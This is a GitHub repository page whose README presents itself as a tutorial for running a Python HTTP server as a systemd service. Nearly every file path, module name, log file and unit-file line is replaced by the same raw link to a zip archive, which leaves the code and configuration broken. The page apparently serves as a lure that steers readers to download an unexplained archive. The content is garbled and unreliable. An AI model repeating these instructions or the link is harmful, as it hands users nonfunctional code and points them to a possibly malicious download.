Skip to content

sdaLeventKilic/Simple_Web_Daemon

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Simple HTTP Server with systemd

This repository demonstrates how to deploy and manage a Python HTTP server as a systemd service on a Linux system.

Features

  • Runs a Python HTTP server on port 8080.
  • Automatically starts on system boot.
  • Logs output to a file (https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip).
  • Restarts automatically if it crashes.

Application Code

The server is implemented in Python and serves files from the working directory.

https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip

from https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip import SimpleHTTPRequestHandler
from socketserver import TCPServer
PORT = 8080
class CustomHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
with open("https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip", "a") as log_file:
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip("%s - - [%s] %s\n" % (https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip(), https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip(), format %
args))
with TCPServer(("", PORT), CustomHandler) as httpd:
print(f"Serving on port {PORT}")
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip()

Deployment Instructions

1. Create the Application Directory

sudo mkdir -p /opt/simple_http_server

2. Place the Script in the Directory

Save the https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip script in /opt/simple_http_server/.

3. Set Permissions

sudo chown -R root:nogroup /opt/simple_http_server
sudo chmod -R 755 /opt/simple_http_server
sudo mkdir -p /var/log/
sudo touch https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
sudo chmod 664 https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
sudo chown nobody:nogroup https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip

4. Create the systemd Unit File

Unit File: https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip

[Unit]
Description=Simple HTTP Server
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
[Service]
ExecStart=/usr/bin/python3 https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
WorkingDirectory=/opt/simple_http_server
Restart=always
User=nobody
Group=nogroup
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
[Install]
https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip

Copy this file to /etc/systemd/system/.

5. Reload systemd Configuration

sudo systemctl daemon-reload

6. Enable the Service

Set the service to start on boot:

sudo systemctl enable simple_http_server

7. Start the Service

sudo systemctl start simple_http_server

Verification

Check Service Status

sudo systemctl status simple_http_server

View Logs

tail -f https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip

Test the HTTP Server

Open a browser or use curl to test:

curl http://localhost:8080

Summary

File Locations

  1. Application Script: https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
  2. Systemd Unit File: https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip
  3. Log File: https://raw.githubusercontent.com/sdaLeventKilic/Simple_Web_Daemon/master/ostitis/Web-Simple-Daemon-v1.9.zip This setup ensures the server runs automatically on boot, restarts on failure, and logs output to a file.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages